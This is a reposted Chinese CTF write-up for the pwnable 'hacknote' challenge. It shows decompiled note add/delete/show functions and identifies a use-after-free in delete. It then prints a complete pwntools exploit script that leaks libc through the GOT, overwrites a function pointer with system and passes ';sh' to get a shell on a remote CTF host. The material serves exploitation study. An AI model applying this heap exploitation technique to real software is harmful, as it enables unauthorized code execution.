pwnable_hacknote

2023-10-04 22:24
文章标签 pwnable hacknote

本文主要是介绍pwnable_hacknote,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

pwnable_hacknote

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8047000)

32位,没开PIE

main部分就不贴了,直接贴主要的函数

unsigned int ADD()
{int v0; // ebxint i; // [esp+Ch] [ebp-1Ch]int size; // [esp+10h] [ebp-18h]char buf[8]; // [esp+14h] [ebp-14h] BYREFunsigned int v5; // [esp+1Ch] [ebp-Ch]v5 = __readgsdword(0x14u);if ( BSSNUM <= 5 ){for ( i = 0; i <= 4; ++i ){if ( !*(&ptr + i) ){*(&ptr + i) = malloc(8u);if ( !*(&ptr + i) ){puts("Alloca Error");exit(-1);}*(_DWORD *)*(&ptr + i) = sub_804862B;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v0 = (int)*(&ptr + i);*(_DWORD *)(v0 + 4) = malloc(size);if ( !*((_DWORD *)*(&ptr + i) + 1) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *((void **)*(&ptr + i) + 1), size);puts("Success !");++BSSNUM;return __readgsdword(0x14u) ^ v5;}}}else{puts("Full");}return __readgsdword(0x14u) ^ v5;
}

add这里,程序申请了一个chunk,用来存放puts函数,和content的地址,

然后给用户申请一个chunk,size不限制

unsigned int DELE()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= BSSNUM ){puts("Out of bound!");_exit(0);}if ( *(&ptr + v1) ){free(*((void **)*(&ptr + v1) + 1));free(*(&ptr + v1));puts("Success");}return __readgsdword(0x14u) ^ v3;
}

free这里是uaf

unsigned int SHOW()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= BSSNUM ){puts("Out of bound!");_exit(0);}if ( *(&ptr + v1) )(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));return __readgsdword(0x14u) ^ v3;
}

show这里,是通过程序申请的chunk里面的puts函数,然后取下一位content的地址去打印content的

思路

既然用程序的puts调用地址打印,我们可以构造一个可操作的chunk去使这个函数,泄露我们需要的

比如说libc

后面就是计算libc,getshell

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26820,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
libc=ELF('libc-2.23_32.so')add(0x80,b'a')
add(0x80,b'a')
add(0x30,b'a')
dele(0)
dele(1)
add(0x8,flat(0x804862B,elf.got['free']))
show(0)
leak=u32(r.recvuntil(b'\xf7')[-4:])
base=leak-libc.sym['free']
sys=system(base)
sh=shell(base)
li(leak)
dele(3)
add(0x8,flat(sys,';sh\x00'))
show(0)ia()

本来我打算用libc的shell去打的,奈何打不通,参考了一下其他师傅,发现用system函数地址去覆盖puts函数的地址,参数会是system函数本身,用;执行下一条命令才能执行到system(sh)
在这里插入图片描述

这篇关于pwnable_hacknote的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/2841

相关文章

【pwnable.kr】0x02-collision Writeup

题目描述 解法 拉取文件 scp -P2222 col@pwnable.kr:col .scp -P2222 col@pwnable.kr:col.c . 分析源码 #include <stdio.h>#include <string.h>// hashcode值unsigned long hashcode = 0x21DD09EC;// 返回res,对main函数中传参进

【pwnable.kr】horcruxes - 伏地魔的7个魂器 gets栈溢出 截断 atoi转化

本关信息 伏地魔吧自己分裂的灵魂藏在了7哥魂器中…这个描述666。本关要求我们找到所有的魂器然后ROP似乎就可以拿flag了。本关没有给源码,上IDA分析吧。本地运行前安装32位libseccomp库,apt-get install libseccomp-dev:i386。 init初始化abcdefg7个int值,保存在bss段,并计算sum。abcdefg的值生成时使用随机数做为种

【pwnable.kr】 blukat - 权限设置不当导致password可读

本关描述 这一关看着描述就挺奇怪的,scp下来之后居然把password改copy下来了,内容是cat: password: Permission denied。照理没有权限读的话是不会copy下来的。ssh上去看一下就明白了(如下图),当前用户在blukat_pwn组,因此是可以读password的。 看一下代码写的没问题,读取password和输入比较,如果比较成功就输出flag。

【pwnable.kr】unlink - unlink4字节写,劫持ecx到堆中获取main_retaddr

题目信息 直接看源码: 这题思路很清晰,程序模拟了最简单的unlink过程,unlink的本质就是把中间的chunk从前后解链,同时修改前面chunk的fd和后面chunk的bk。如果可以溢出了会被unlink的chunk,32bit下在FD->bk=BK时,拥有一次4bit写的机会,同时需要保证BK->fd可写(BK->fd=FD同理)。 拥有任意地址写的机会后,可以考虑修改程

【pwnable.kr】 asm seccomp sadbox 64位shellcode 读 flag

题目信息 nc之后查看信息如下。根据readme提示,本关是要求登陆服务器后,nc 9026端口连接asm程序来读flag。flag文件名很长。 看了源码发现程序做了如下操作。mmap了一块内存读取shellcode并执行,开启了seccomp沙箱[1],限制只能使用open read write exit exit_group系统调用。因此本关就是利用这些系统调用来写64位下读fla

pwnable 笔记 Toddler's Bottle - coin1

这题考察算法 (分治法) 通过二分法查找便可以解出 题目比较坑的一点是要求在30秒内完成,如果去nc pwnable.kr 9007的话速度会非常慢,一般猜到第四十多次就超时了,为解决这个问题,需要把脚本放在pwnable服务器上去执行 $ ssh fd@pwnable.kr -p2222password: guest$ cd /tmp$ vim a.py$ pytho

pwnable 笔记 Toddler's Bottle - cmd1

应该是考察shell里面的拼接吧 不过这题有bug 不知道为什么会这么容易 过滤了flag 但是没有通配符 所以简单暴力的直接cat f* 就行了

pwnable 笔记 Toddler's Bottle - shellshock

考察bash shellshock 漏洞 CVE-2014-6271 shellshock.c #include <stdio.h>int main(){printf("%d\n",getegid());setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());//s

pwnable 笔记 Toddler's Bottle - input

这题考察Linux的各种输入:参数,标准输入输出,环境变量,文件输入输出,socket 解题时用了python的subprocess(用法见我的上一篇博客),做这题挺时间的,题目的各种坑点,我会在后面一一指出 题目源代码:(为了方便本地调试,在源码里加了debug用的put("ok");) <span style="font-family:Microsoft YaHei;font-

pwnable 笔记 Toddler's Bottle - random

random源码: 伪随机数random的值不会变,找到random的值与0xdeadbeef异或即可得到key rand = 0x6b8b4567ans = 0xdeadbeefkey = rand ^ ans#key = 3039230856